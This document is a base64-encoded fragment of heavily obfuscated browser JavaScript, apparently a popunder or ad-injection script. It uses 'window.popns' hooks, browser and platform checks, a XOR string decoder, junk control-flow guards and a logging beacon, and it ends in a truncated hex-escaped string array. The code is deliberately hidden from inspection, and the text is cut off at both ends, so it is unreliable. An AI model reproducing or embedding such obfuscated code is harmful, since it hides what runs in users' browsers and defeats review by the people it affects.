uTDEoTTEudG9TdHJpbmcoKSxNMS50b1N0cmluZygpLmxlbmd0aCwxMTM5OCkhPT1nMSl7dzUubzQoMjEpO3Q9clt3NS5jNChvcyxKcyxHcildO3c1Llk0KDIyKTtpPW9bdzUuYzQoR3IsVWUsZm8pXTt3NS5vNCg2KTtuPW9bdzUuYzQoR3IseG8sZm8pXTt9dzUubzQoNCk7dD1yW3c1LnU0KG9zLEdyLEpzKV07dzUuWTQoNCk7aT1vW3c1LmM0KGZvLEdyLFVlKV07dzUubzQoNCk7bj1vW3c1LnU0KGZvLEdyLHhvKV07fSxndSk7aXUuWChyaSx2LGZ1bmN0aW9uKGEpe3ZhciBjLHUsaCxTMCxOMCxhMDtTMD0xMTI5ODE1NDEyO04wPS00NTk2NDE3MTE7YTA9Mjtmb3IodmFyIGYwPTE7dzUuZDEoZjAudG9TdHJpbmcoKSxmMC50b1N0cmluZygpLmxlbmd0aCw5MDQxMCkhPT1TMDtmMCsrKXt3NS5vNCg0KTtjPWFbdzUuYzQoc3IsR3IsZSldWzBdO3U9aXUudHQoYSk7aD1yLm10LlllO2EwKz0yO31pZih3NS5MMShhMC50b1N0cmluZygpLGEwLnRvU3RyaW5nKCkubGVuZ3RoLDUxODk1KSE9PU4wKXt3NS5ZNCg2KTtjPWFbdzUudTQoR3IsZSxzcildWzRdO3U9aXUudHQoYSk7aD1yLm10LlllO31kcltGc10oY1tmbytHcitVZV0taSk+PWh8fGRyW0ZzXShjW2ZvK0dyK3hvXS1uKT49aHx8YVtvcytHcitKc10tdD5vfHxyLm10LlllPD0wfHxYYy5odCYmRGlbaXJdKHVbU2MrR3IrbWNdKXx8ci5YZS5paXx8ci5YZS5uaXx8ci5YZS5yaXx8ci5waSgpfHxyLl9pKCl8fCFyLlBpKCl8fCFyLlRpKHUpfHwhci5tdC5OZSYmWmMuUyh1KXx8KHVbU2MrR3IrbWNdPT09T24mJnIuRWUoYSkscyh1LGMpKTt9LGd1KTt9LG1pOmZ1bmN0aW9uKHQsZSxpLG4pe3ZhciByLG87bz15dTtmb3Iocj0wO3I8dFtwaV07cisrKWlmKHRbcl09PT13dSl7bz1ndTticmVhazt9byYmKGV8fGkpJiYoIXRoaXMuT2koZSx0KXx8IXRoaXMuT2koaSx0KXx8eVtydV1bdW5dJiZ5W3J1XVt1bl1bcGldJiYhdGhpcy5PaShaYy5GKCkseVtydV1bdW5dKSkmJm4oZ3UseXUpO30seGU6e1F0Om11LFM6eXV9LHFlOmZ1bmN0aW9uKCl7dmFyIHQ7dD1aYy54KGFyZ3VtZW50c1swXSk/YXJndW1lbnRzWzBdOmFyZ3VtZW50cztyZXR1cm4gdGhpcy5ubih0LGxjLHRbcGldJiZ0WzBdPT09eXUpO30sd2k6ZnVuY3Rpb24odCxlLGkpe3ZhciBXMSxsMSxjMTtXMT0xMTQ2NjMzOTY5O2wxPTU4MTgzMzU3NjtjMT0yO2Zvcih2YXIgdTE9MTt3NS5kMSh1MS50b1N0cmluZygpLHUxLnRvU3RyaW5nKCkubGVuZ3RoLDY5ODkxKSE9PVcxO3UxKyspe1pjLkcodFtOaV0oR3IrUGUrR3IpKTxlJiZpKGd1LHl1KTtjMSs9Mjt9aWYodzUuZDEoYzEudG9TdHJpbmcoKSxjMS50b1N0cmluZygpLmxlbmd0aCw0ODMyNikhPT1sMSl7WmMuRyh0W05pXShHciVQZSVHcikpPj1lfHxpKGd1LHl1KTt9fSxDaTpmdW5jdGlvbigpe3ZhciByLG8scyxhLGMsdSxoLGYscCxfO2Z1bmN0aW9uIHQoKXt2YXIgdCxlO3c1Lm80KDE3KTtlPVt3NS51NChIbixUdCxHcixFbixHcixDYSxKYSksdzUuYzQoeG4sVHQsR3IsRW4sR3IsQ2EsSmEsdzUubzQoMTcpKSx3NS5jNChKYSxUdCxRYSx3NS5ZNCg0KSksdzUuYzQoQ24sR3IsVXMsbXIsVHQsdzUubzQoMSkpLHc1LnU0KFdlLEdyLHhuLG1yLFR0LHc1Llk0KDEpKV07Zm9yKHQ9MDt0PGVbcGldO3QrKylpZihaYy5sKGVbdF0pKXtyZXR1cm4gS2MuZSh0LFpjLmwoZVt0XSkpLGd1O31yZXR1cm4geXU7fWZ1bmN0aW9uIGkoaSl7dT0yO198fChfPWd1LGlvKGZ1bmN0aW9uKCl7Xz15dTt9LFhjLm90PzUwMDoxNTApLEN1JiYhcC5VZXx8KHI9aXUudHQoaSksbz1aYy5CKHIsT24pLGM9WmMuUyhyKSxyW2FhK0dyK0dpXShsbyk9PT1mdT8oclt4ZV1beHRdPVhpLFpjLlAocikscj1pdS50dChpLGd1KSk6byYmKHM9KHI9bylbYWErR3IrR2ldKFRpKSxhPVpjLk4ociksYz1aYy5TKHIpKSxmLkVpKHIsYyksZi5YZS5paXx8Zi5YZS5uaXx8Zi5YZS5yaXx8aVtVb118fGUoZi5jaS51aVtPXSYmZi5jaS51aVtPXSE9PWlbT10pfHxlKHAuS2UmJiFFdSl8fGUoIWlbSGMrR3IrVWVdJiYhaVtIYytHcit4b10pfHxlKCFYYy5vdCYmIVhjLmcmJnR5cGVvZiBpW3F0XSE9PWdlJiYwIT09aVtxdF0pfHxlKCFYYy5vdCYmIWYuWmUmJihYYy5jdHx8WGMuYnx8WGMudXQpKXx8ZSghWGMub3QmJiFwLkdlJiYoWGMuYnx8WGMudXQpJiZzPT09RmkpfHxlKGYucGkoKSl8fGUoZi5faSgpKXx8ZSghZi5QaSgpKXx8ZSghZi5UaShyKSl8fGUoYyYmIXAuTmUpfHxlKCFwLlJlJiZ0KCkpfHwoZi5BaShpKSxYYy5ldCYmbyYmYSYmZi5FZShpKSxYYy5vdHx8IW98fGN8fChYYy5iJiZzIT09RmkmJlpjLlkoKXx8cC5HZSYmcz09PUZpJiYoWGMuYnx8WGMudXQpKSYmZi5FZShpKSxmLkZpPW11LGYuaGkoKSkpKTt9Zj10aGlzO3A9Zi5tdDtfPXl1O2Z1bmN0aW9uIGUodCl7cmV0dXJuKyt1LHQmJktjLmUodSksdDt9cC5SZXx8IXQoKT8oaD1YYy5kfHxYYy5nP3FhOmVjLGZ1bmN0aW9uKCl7aXUuWChyaSxncyxpLGd1KTtYYy5vdD8oaXUuWChyaSxlYyxuLGd1KSxpdS5YKHJpLHFhLG4sZ3UpKTppdS5YKHJpLGgsbixndSk7fSgpLHRoaXMuU2koKSx0aGlzLmppKCksdGhpcy5MaSgpLHRoaXMuemkoKSx0aGlzLkJpKCkpOktjLmUoeXUpO2Z1bmN0aW9uIG4odCl7cj1vPWM9cz1hPW11OyFYYy5vdCYmdFtIYytHcitVZV0rKFhjLm50PzE3OjE1KT55W1BhK0dyK2ddP3AuUWUmJigocj17fSkuc2Nyb2xsYmFyPWd1LGYuRWkocix5dSksZi5waSgpfHxmLl9pKCl8fCFmLlBpKCl8fGYuaGkoKSk6aSh0KTt9fSxsaTpmdW5jdGlvbih0KXtpZih0aGlzLlhlLmlpfHx0aGlzLlhlLm5pfHx0aGlzLlhlLnJpKXtyZXR1cm4geXU7fXN3aXRjaCh0Lnl0KXtjYXNlIF91Om5ldyBRYy5tZSh0KS5wZSgpO2JyZWFrO2Nhc2UgZHU6bmV3IFFjLmdlKHQpLnBlKCk7YnJlYWs7Y2FzZSBsdTpuZXcgUWMueWUodCkucGUoKTticmVhaztjYXNlIHB1OnRyeXtuZXcoUWMuZHQoKSkodCkucGUoKTt9Y2F0Y2godCl7S2MuZSh0KTt9fXJldHVybiB0LnF0KCksZ3U7fSxqaTpmdW5jdGlvbigpe3ZhciB0LGUsaSxuLHIsbztuPXRoaXM7cj17fTtvPWZ1bmN0aW9uKHQpe2ZvcihlPTA7ZTx0W3BpXTtlKyspe24uTWkodFtlXSk7fX07Q28oZnVuY3Rpb24oKXt2YXIgZTtmb3IodD0wO3Q8bi5tdC4kZVtwaV07dCsrKXtpZihlPW4ubXQuJGVbdF0sKGk9cmlbYWErR3IrUmUrR3IraWkrR3IrUmkrR3IrbWNdKGUpKVtwaV0mJm4ucGkoKXx8IW4uUGkoKSl7cmV0dXJuO310eXBlb2YgcltlXSE9PWdlJiZyW2VdPT09aVtwaV18fG8oaSk7fX0sMWUzKTt9LElpOmZ1bmN0aW9uKHQpe3ZhciBlLGksbixyLG8scyxlOSxqOSxaOTtvPTI7cz15dTtmb3IoZT0wO2U8PW87ZSsrKXtpZigobj1yaVt3citHcitqbitHcitMY10odFtIYytHcitVZV0rZSx0W0hjK0dyK3hvXSkpJiZuW1NjK0dyK21jXT09PXBhK0dyK09uK0dyK0ZjK0dyK1BzK0dyK3BhKXtzPWd1O2JyZWFrO31mb3IoaT0wO2k8PW87aSsrKWlmKChuPXJpW3dyK0dyK2puK0dyK0xjXSh0W0hjK0dyK1VlXStlLHRbSGMrR3IreG9dK2kpKSYmbltTYytHcittY109PT1wYStHcitPbitHcitGYytHcitQcytHcitwYSl7cz1ndTticmVhazt9aWYocylicmVhazt9aWYocylmb3Iocz15dSxyPW5bYWErR3IrUmUrR3IraWkrR3IrUmkrR3IrbWNdKGVpKSxlPTA7ZTxyW3BpXTtlKyspaWYoWmMuVShyW2VdKSl7cz1ndTticmVhazt9ZTk9MTI0NjQ2Mzc5O2o5PTE4ODY4MTA5NztaOT0yO2Zvcih2YXIgVTk9MTt3NS5MMShVOS50b1N0cmluZygpLFU5LnRvU3RyaW5nKCkubGVuZ3RoLDU5MDM1KSE9PWU5O1U5Kyspe3JldHVybiBzP246eXU7WjkrPTI7fWlmKHc1LmQxKFo5LnRvU3RyaW5nKCksWjkudG9TdHJpbmcoKS5sZW5ndGgsNDQ5MzkpIT09ajkpe3JldHVybiBzP246eXU7fX0sRGk6ZnVuY3Rpb24oKXtpZighdGhpcy5YZS5laSl7dGhpcy5YZS5laT1ndTt0cnl7dGhpcy52aSgpO3RoaXMuYmkoKTt9Y2F0Y2godCl7fUtjLmUoW3RoaXMuWGUubmk/MDoxLHRoaXMuWGUucmk/MDoxLHRoaXMuWGUueGldW05pXShHcikpO319LFhlOnt0aTp5dSxuaTpndSxlaTp5dSxvaTowLHJpOmd1LHNpOjAsaWk6eXV9LG5uOmZ1bmN0aW9uKHQsZSxpKXtmb3IodmFyIG4scj0wLG89ZT09PVJuP3RoaXMubXQuSmU6dGhpcy5tdC5xZTtpJiZvW3BpXTspe29bQnNdKCk7fWZvcig7cjx0W3BpXTtyKyspe3R5cGVvZihuPXRbcl0pPT09VGM/b1tNcl0obik6dHlwZW9mIG49PT1hciYmdHlwZW9mIG5bd2ErR3IrbWNdPT09VGMmJm9bTXJdKG4pO31yZXR1cm4gdGhpczt9LEppOmZ1bmN0aW9uKCl7dmFyIHkxLEgxLHYxLHQsZTt5MT0xNzAzNzYyNDUyO0gxPTEyMTk1OTkwMzk7djE9Mjtmb3IodmFyIEUxPTE7dzUuZDEoRTEudG9TdHJpbmcoKSxFMS50b1N0cmluZygpLmxlbmd0aCwzODk3NykhPT15MTtFMSsrKXtlPTY7Zm9yKHRoaXMuZmk9W107ZT49dGhpcy5XZVtwaV07ZS0tKXsodD10aGlzLldlW2VdKS5MdCgpfHx0aGlzLmZpW01yXSh0KTt9djErPTI7fWlmKHc1LmQxKHYxLnRvU3RyaW5nKCksdjEudG9TdHJpbmcoKS5sZW5ndGgsMjE2MzkpIT09SDEpe2U9MTtmb3IodGhpcy5maT1bXTtlPnRoaXMuV2VbcGldO2UrKyl7KHQ9dGhpcy5XZVtlXSkuTHQoKSYmdGhpcy5maVtNcl0odCk7fX1lPTA7Zm9yKHRoaXMuZmk9W107ZTx0aGlzLldlW3BpXTtlKyspeyh0PXRoaXMuV2VbZV0pLkx0KCkmJnRoaXMuZmlbTXJdKHQpO31yZXR1cm4gdGhpcy5maTt9LGRpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuY2kudWk7fX07aXUuWCh5LFN0LGZ1bmN0aW9uKCl7dmFyIFg3LEI3LFM3O1g3PTIwMTA5MDA5MDY7Qjc9LTE2OTQwNjQ1NTI7Uzc9Mjtmb3IodmFyIGE3PTE7dzUuTDEoYTcudG9TdHJpbmcoKSxhNy50b1N0cmluZygpLmxlbmd0aCwxNDk3OSkhPT1YNzthNysrKXtFdT0hMTtTNys9Mjt9aWYodzUuZDEoUzcudG9TdHJpbmcoKSxTNy50b1N0cmluZygpLmxlbmd0aCw2MjI0OCkhPT1CNyl7RXU9IXt9O31FdT1vNTt9KTtpbyhmdW5jdGlvbigpe3c1Lm80KDE1KTtLYy5lKHc1LnU0KFNpLFllLEdyLFR0LFllLE0sR3IsWWUsUWUsT3QsQW8pKTt3NS5vNCg0KTtLYy5lKHc1LmM0KHhhLFZ0LEdyKSxvdSk7dzUuWTQoNCk7S2MuZSh3NS5jNChxaSxWdCxHciksc3UpO3c1Lm80KDQpO0tjLmUodzUudTQoRXMsVnQsR3IpLGF1KTt9LDEwKTt5W3J1XT15W3J1XXx8ZnVuY3Rpb24oKXt2YXIgdCxlLGksbixyLG87cj17fTtvPVpjLnAoW1trbytHcitSYStHcitudCxbR2MsR2MuaV1dLFtKbixzdV0sW0d0LG91XSxbWW8rR3IraXMsYXVdLFt6YSxbR2MsR2MuWGkscl1dLFthYStHcitJaSxbR2MsR2MuWmldXSxbYWErR3IrUStHcitiYSxbR2MsR2MuWWldXSxbYWErR3IrX28rR3IrYmEsW0djLEdjLktpXV0sW3crR3IrQ24sW0djLEdjLk1pXV0sW0huLFtHYyxHYy5lbixyXV0sW0duLFtHYyxHYy5oaSxyXV0sW2VzLFtHYyxHYy5HaSxyXV0sW2xjK0dyK2JhLFtHYyxHYy5xZSxyXV0sW1JuK0dyK2JhLFtHYyxHYy5KZSxyXV0sW2FhK0dyK2h0K0dyK0NuLFtHYyxHYy53ZV1dLFthYStHcitubitHcitabyxbR2MsR2MuJGldXSxbYWErR3IreWUrR3IrWm8sW0djLEdjLlZpXV0sW0JhK0dyK3llLFtHYyxHYy5QaV1dLFtrbytHcitkdCtHcitKZSxbR2MsR2MucGldXSxbYWErR3IrVXQrR3IramUrR3IrQmksW0djLEdjLlFpXV0sW2FhK0dyK1V0K0dyK0NhLFtHYyxHYy5kaV1dLFt6aSxbR2MsR2MuTmldXSxbYWErR3IrXyxbR2MsR2MuVWldXSxbRm8rR3IrXyxbR2MsR2MuUmldXSxbaGErVHQrT28sW0tjLEtjLmVdXSxbaGErVHQrRyxbS2MsS2Mucl1dLFtPYStUdCtsaSxbdHUsdHUuYV1dLFtPYStUdCthYSxbdHUsdHUuY11dLFtPYStUdCt4bixbdHUsdHUudV1dLFt0aStUdCtrbytHcitkaSxbZXUsZXUuc11dLFt0aStUdCtsaSxbZXUsZXUuYV1dLFt0aStUdCthYSxbZXUsZXUuY11dLFt0aStUdCt4bixbZXUsZXUudV1dLFtjZStUdCtKbixYYy5wdF0sW2NlK1R0K0lyK0dyK3FpLFhjLmZ0XSxbY2UrVHQra28rR3IrQ3MsWGMuaXRdLFtjZStUdCtrbytHcitYbyxYYy5udF0sW2NlK1R0K2tvK0dyK01hLFhjLm1dLFtjZStUdCtrbytHcit2YStHcitmYytHcit0YyxYYy5ldF0sW2NlK1R0K2tvK0dyK0JuLFhjLnJ0XSxbY2UrVHQra28rR3Irdm4sWGMub3RdLFtjZStUdCtrbytHcitoZSxYYy5zdF0sW2NlK1R0K2tvK0dyK3l0LFhjLmF0XSxbY2UrVHQra28rR3IrZ2MsWGMuYl0sW2NlK1R0K2tvK0dyK0luLFhjLmRdLFtjZStUdCtrbytHcitGYSxYYy5odF0sW2NlK1R0K2tvK0dyK3ZhK0dyK1BzLFhjLmddLFtjZStUdCtrbytHcitjcyxYYy5jdF0sW2NlK1R0K2tvK0dyK0VvLFhjLnV0XSxbY2UrVHQrSm4rR3IrdXQsW1hjLFhjLkpdXSxbY2UrVHQrYW8rR3IrZGksW1hjLFhjLmx0XV0sW0NhK1R0K2xjK0dyK3FzLFtpdSxpdS5LXV0sW0NhK1R0K2xjLFtpdSxpdS5YXV0sW0NhK1R0K2xhLFtpdSxpdS5aXV0sW0NhK1R0K2FhK0dyK3luLFtpdSxpdS50dF1dLFtLZStUdCtrbytHcit2ZStHciskZSxbWmMsWmMud11dLFtLZStUdCtKbitHcit1dCxbWmMsWmMuSl1dLFtLZStUdCtvcyxbWmMsWmMuR11dLFtLZStUdCt3byxbWmMsWmMueV1dLFtLZStUdCtKaSxbWmMsWmMuJF1dLFtLZStUdCtVcytHcitDbixbWmMsWmMuel1dLFtLZStUdCt4bitHcitDbixbWmMsWmMuUF1dLFtLZStUdCthYStHcitVaSxbWmMsWmMuQl1dLFtLZStUdCtEZStHcitZaSxbWmMsWmMuSF1dXSk7Zm9yKGUgaW4gbylpZih5aVtYdF1bQmErR3IrbHQrR3Irb29dW0NpXShvLGUpKXtmb3Iobj1lW0NyXShHcitUdCtHciksdD1yLGk9MDtpPG5bcGldLTE7aSsrKXt0eXBlb2YgdFtuW2ldXT09PWdlJiYodFtuW2ldXT17fSk7dD10W25baV1dO310W25bbltwaV0tMV1dPWZ1bmN0aW9uKHQsZSl7cmV0dXJuIFpjLngodFtlXSk/MT09PXRbZV1bcGldP3RbZV1bMF06ZnVuY3Rpb24oKXtyZXR1cm4gMj09PXRbZV1bcGldP3RbZV1bMV1bb2FdKHRbZV1bMF0sYXJndW1lbnRzKToodFtlXVsxXVtvYV0odFtlXVswXSxhcmd1bWVudHMpLHRbZV1bMl0pO306dFtlXTt9KG8sZSk7fXJldHVybiByO30oKTt9KHQucG9wbnN8fHpjK0dyK1VjK0dyK09jLHQsdFtFaV0sdFtPaV0sdFttcl0sdFtyb10sdFtibl0sdFtObl0sdFtDb10sdFtyaStHcitpb10sdFtsaStHcitZaV0sdFtNaStHcitZaV0sdFtsaStHcitBaV0sdFtNaStHcitBaV0sdFtMdCtHcit0YytHcitmYytHcitndF0sdFt5K0dyK1J0XSx0W2tvK0dyK3lpK0dyK2d0XSx0W2lzXSx0W1hlK0dyK1ZyK0dyK0dzK0dyK3ZhK0dyK1VyXSx0W2RyXSk7fSh3aW5kb3cpO2Y1eXkuSD1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC55PT09J2Z1bmN0aW9uJz9mNXl5LkwueS5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5LkwueTt9O2Y1eXkuVz1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC52PT09J2Z1bmN0aW9uJz9mNXl5Lkwudi5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5Lkwudjt9O2Y1eXkuZz1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC5PPT09J2Z1bmN0aW9uJz9mNXl5LkwuTy5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5LkwuTzt9O2Y1eXkuZj1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC52PT09J2Z1bmN0aW9uJz9mNXl5Lkwudi5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5Lkwudjt9O2Z1bmN0aW9uIGY1eXkoKXt9ZjV5eS5CPWZ1bmN0aW9uICgpe3JldHVybiB0eXBlb2YgZjV5eS5MLnk9PT0nZnVuY3Rpb24nP2Y1eXkuTC55LmFwcGx5KGY1eXkuTCxhcmd1bWVudHMpOmY1eXkuTC55O307ZjV5eS5SPWZ1bmN0aW9uICgpe3JldHVybiB0eXBlb2YgZjV5eS5DLnY9PT0nZnVuY3Rpb24nP2Y1eXkuQy52LmFwcGx5KGY1eXkuQyxhcmd1bWVudHMpOmY1eXkuQy52O307ZjV5eS5JPWZ1bmN0aW9uICgpe3JldHVybiB0eXBlb2YgZjV5eS5DLnY9PT0nZnVuY3Rpb24nP2Y1eXkuQy52LmFwcGx5KGY1eXkuQyxhcmd1bWVudHMpOmY1eXkuQy52O307ZjV5eS5MPWZ1bmN0aW9uKEQpe3JldHVybnt5OmZ1bmN0aW9uKCl7dmFyIEcsZD1hcmd1bWVudHM7c3dpdGNoKEQpe2Nhc2UgMjpHPWRbMF0qZFsxXTticmVhaztjYXNlIDA6Rz1kWzBdfGRbMV07YnJlYWs7Y2FzZSAxOkc9ZFsxXS1kWzBdO2JyZWFrO31yZXR1cm4gRzt9LE86ZnVuY3Rpb24oVil7RD1WO319O30oKTtmNXl5Lno9ZnVuY3Rpb24gKCl7cmV0dXJuIHR5cGVvZiBmNXl5LkwuTz09PSdmdW5jdGlvbic/ZjV5eS5MLk8uYXBwbHkoZjV5eS5MLGFyZ3VtZW50cyk6ZjV5eS5MLk87fTtmNXl5LkM9ZnVuY3Rpb24oKXt2YXIgUT0yO3doaWxlKFEhPT0xKXtzd2l0Y2goUSl7Y2FzZSAyOnJldHVybnt2OmZ1bmN0aW9uKFUpe3ZhciBiPTI7d2hpbGUoYiE9PTE0KXtzd2l0Y2goYil7Y2FzZSAyOnZhciBLPScnLGw9ZGVjb2RlVVJJKCJ0JTExa2JsYyU3RCUwNmhiZGxtbDYhJTNDJTNDKyU1QmNkLTo1JTVENyg4Jy8lNUJ3LzI4bWolM0M4KTA3YiolMUMyJTI1bSUwN3ElN0RvYmslMTh3JTdDc2RtaDcpKSUyMipaMmQlMTgtNUErKS5vbXMlMTUlMjUlM0UwKyU1QiUzQyUxMXUlMjA2TXk/KScsSy1kJTNFOSxLMi00OyUyMCUwNjojMCU3RDUlNUM6IzMya0s2IXU5Kks4JTIwNTo2JTVDcSUxRiUzRScsWC1sMCUyMDYlNUN5Ljh1KUc4KDgxZUolM0MqMiclMjAlMDg1JTI1JTNFMCslNUIlM0NsOyUzQylNcWIxOiZJNSIpO2I9MTticmVhaztjYXNlIDk6Sys9U3RyaW5nLmZyb21DaGFyQ29kZShsLmNoYXJDb2RlQXQoWSleVS5jaGFyQ29kZUF0KGspKTtiPTg7YnJlYWs7Y2FzZSAxOnZhciBZPTAsaz0wO2I9NTticmVhaztjYXNlIDU6Yj1ZPGwubGVuZ3RoPzQ6NzticmVhaztjYXNlIDM6az0wO2I9OTticmVhaztjYXNlIDg6WSsrLGsrKztiPTU7YnJlYWs7Y2FzZSA0OmI9az09PVUubGVuZ3RoPzM6OTticmVhaztjYXNlIDc6Sz1LLnNwbGl0KCcoJyk7cmV0dXJuIGZ1bmN0aW9uKFApe3ZhciBoPTI7d2hpbGUoaCE9PTEpe3N3aXRjaChoKXtjYXNlIDI6cmV0dXJuIEtbUF07YnJlYWs7fX19O2JyZWFrO319fSgnRShZTF1VJyl9O2JyZWFrO319fSgpOyFmdW5jdGlvbihlLG8sYyl7InVzZSBzdHJpY3QiO3ZhciBUPWY1eXk7dmFyIGksbix0O1QuZygwKTtpPVQuUihULkgoIjgiLDApKTtULnooMCk7bj1bVC5JKFQuSCgnXHgzMVx4MzAnLDApKSxULkkoKyI2IiksVC5SKCsnXHgzMVx4MzQnKSxULlIoKyIxMiIpLFQuUihULkgoIjUiLDAsVC5nKDApKSksVC5JKFQuQigwLCdceDMwJyxULnooMSkpKSxULlIoVC5CKCdceDMxXHgzMScsMCxULnooMCkpKSxULkkoKyIyIildO1QuZygyKTt0PVsrJ1x4MzJceDMwXHgzMVx4MzknLFQuQignXHUwMDM1JywxKSxULkgoJ1x4MzFceDM2JywwLFQuZygwKSldO3RyeXtzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7Yy5Mb2dnZXIubG9nKGksVC5SKCsnXHgzMScpLG4pO2MuTG9nZ2VyLmxvZyhpLFQuUigiNyItMCksdC5qb2luKFQuSSgnXHgzNCctMCkpKTt9LCsiNTAwIik7VC56KDEpO2Mub2JqZWN0PVtuLFsrIjM2MCIsNDk0LDM5MSwrIjMxMiIsVC5CKDAsIjMxMiIpLFQuSCgiMzY1IiwwLFQuZygwKSksKydceDM0XHgzMFx4MzQnLFQuSCgiMzAwIiwwLFQuZygwKSksKydceDMzXHgzNlx4MzBceDMwXHgzMScsVC5IKDAsJ1x4MzNceDM5XHgzNVx4MzJceDMyJyxULmcoMSkpLFQuQigiMTg3NzEiLDAsVC56KDApKSwrIjM0OTQ4IiwxNjU0MSwyOTU3MSwrJ1x4MzVceDMxXHgzN1x4MzFceDM5JywzMzkwOCxULkgoIjc4ODQwIiwwLFQuZygwKSksMTA1OTY0LCsnXHgzOFx4MzRceDM1XHgzNVx4MzUnLFQuSCgiNzI0MjYiLDAsVC5nKDApKSxULkgoJ1x4MzNceDMwXHgzNVx4MzlceDM5JywwLFQuZygwKSksVC5CKCdcdTAwMzRcdTAwMzFcdTAwMzZcdTAwMzJcdTAwMzYnLDAsVC5nKDApKSxULkIoMCwnXHUwMDM4XHUwMDM4XHUwMDMwXHUwMDM4XHUwMDM0JyxULnooMSkpLFQuSCgiNjU0MDkiLDEsVC5nKDIpKSwxNDQwMCxULkgoIjEyODQ0IiwxLFQueigyKSksKydceDM4XHgzNlx4MzBceDMyJyxULkgoJ1x4MzFceDMwXHgzOVx4MzJceDMwJywxLFQuZygyKSksMTM0MTYsVC5IKCdceDMyXHgzNFx4MzhceDMyXHgzMCcsMCxULmcoMCkpLFQuQignXHgzM1x4MzdceDM5XHgzN1x4MzYnLDAsVC56KDApKSwrJ1x4MzVceDMxXHg2NVx4MzMnXSx0LFtULkgoJ1x4MzNceDM2XHgzMicsMCxULmcoMCkpLDQ5NiwrJ1x4MzNceDM5XHgzOScsVC5IKDAsIjczMDkyMyIsVC5nKDEpKSwrJ1x1MDAzMlx1MDAzNVx1MDAzMVx1MDAzMicsVC5IKCI2Mzk4IiwwLFQueigwKSksVC5IKCdcdTAwMzRcdTAwMzFcdTAwMzFcdTAwMzlcdTAwMzFcdTAwMzJcdTAwMzInLDEsVC5nKDIpKSwrJ1x4MzFceDMxXHgzMVx4MzlceDMyJyxULkgoJ1x4MzNceDM0XHgzMlx4MzNceDM2JywwLFQueigwKSksMjQ2MSwzMjU1NywxMDIxMF0sby5jdXJyZW50U2NyaXB0LFQuSCgiMSIsMSxULmcoMikpXTt9Y2F0Y2gobyl7dm9pZCgnXHgzMCcqMSkhPT1lLmNvbnNvbGUmJmUuY29uc29sZS5sb2cmJkZ1bmN0aW9uLmFwcGx5LmNhbGwoZS5jb25zb2xlLmxvZyxlLmNvbnNvbGUsW1QuSSgnXHgzMVx4MzMnfDApXSk7fX0od2luZG93LGRvY3VtZW50LHdpbmRvd1t3aW5kb3cucG9wbnN8fGY1eXkuUigiMyItMCldKTt2YXIgXzB4MTM4Zj1bJ1x4NThceDQ4XHg2M1x4NzInLCdceDQ5XHg1NFx4NDVceDZmXHg2NFx4NDNceDZjXHgzN1x4NGZceDQzXHg0Mlx4NmNceDUwXHg1NFx4NDVceDZmXHg1YVx4NTNceDZjXHgzN1x4NGZceDQzXHg0Mlx4NzVceDUwXHg1OFx4NTFceDc1XHg2Mlx4NzlceDY3XHg2OVx4NjJceDUzXHg0OVx4NzBceDRmXHg3YVx4NTlceDY3XHg2Mlx4NjlceDM0XHg3OVx4NGNceDZkXHg3N1x4MzlceDQ5XHg2ZFx4NzNceDY5XHg0Y1x4NDdceDM0XHg3NVx4NGRceDY5XHgzNVx4NzdceDUwXHg1NFx4NDFceDczXHg2Mlx4NjlceDM0XHg3OVx4NGNceDZlXHg0NVx4MzlceDRkXHg0M1x4NzhceDc1XHg0Y1x4NmFceDQ5XHg3NVx4NjRceDdhXHgzMFx4NjlceDYxXHg2OVx4NDlceDczXHg2Mlx4NjlceDM1XHgzMVx4NTBceDUzXHg0OVx4MzNceDRmXHg2OVx4MzhceDc2XHg2M1x4NjlceDM1XHgzNFx4NGNceDZhXHg1NVx4NzZceDYxXHg0M1x4MzlceDY4XHg0Y1x4NzlceDQ5XHg3Mlx4NWFceDUzXHg3OFx4MzBceDRjXHg2ZFx4NDlceDc1XHg2MVx4NTNceDY4XHg3NVx4NGJceDUzXHg3OFx4NzVceDY2XHg1M1x4NzhceDc1XHg1MFx4NTdceDRkXHg2Zlx4NWFceDc5XHg2N1x4NmZceDY0XHg0M1x4MzVceDZiXHg0Y1x4NmVceDU5XHg2Zlx4NTFceDY5XHg0Mlx4NGZceDRiXHg0M1x4NDlceDZmXHg0ZVx4N2FceDM5XHgzOFx4NTNceDY5XHgzMVx4MzVceDRiXHg1NFx4NzBceDYzXHg1OFx4NDNceDM5XHg2M1x4NThceDQzXHgzOFx4NjlceDRiXHg1M1x4NzdceDY5XHg0OVx4NjlceDZiXHg3NVx4NGRceDc5XHg2N1x4NjlceDRjXHg3OVx4NDlceDcwXHg1N1x4N2FceDQyXHg2NFx4NjZceDQ4XHg3N1x4NjlceDUzXHg3OVx4MzRceDMxXHg0OVx4NjlceDZiXHg3NVx4NGRceDc5XHg2N1x4NjlceDQ5XHg2OVx4NmJceDc1XHg1NFx4NDNceDY3XHg3OFx4NGJceDQ4XHg1MVx4NzBceDY1XHg3YVx4NTlceDY3XHg2NFx4NDNceDM1XHg0ZVx4NGJceDQ0XHg0MVx4NzBceDRjXHg2Ylx4NjNceDZmXHg1M1x4NDNceDZjXHgzOVx4NGJceDUzXHgzNVx4NDJceDRiXHg0M1x4NDlceDY5XHg0Ylx4NTNceDZiXHg3MFx4NGZceDMzXHg2Zlx4NzVceDRlXHg0M1x4NjdceDY5XHg1MVx4NzlceDQ5XHg3M1x4NGRceDUzXHg2N1x4NzBceDY1XHgzMlx4NTVceDZmXHg2Mlx4NjlceDczXHg2OVx4NGNceDMyXHg1OVx4NzVceDRmXHg1M1x4NDlceDcwXHg0Y1x4NmFceDUxXHg2Zlx4NDlceDZiXHg1MVx4NjlceDRjXHg0NFx4NDVceDZmXHg0Ylx4NThceDc0XHg0N1x4NGJceDQ0XHg0NVx4NmZceDRiXHg1OFx4NzRceDZjXHg0Ylx4NDdceDM0XHg3Mlx4NDlceDY5XHgzOVx4N2F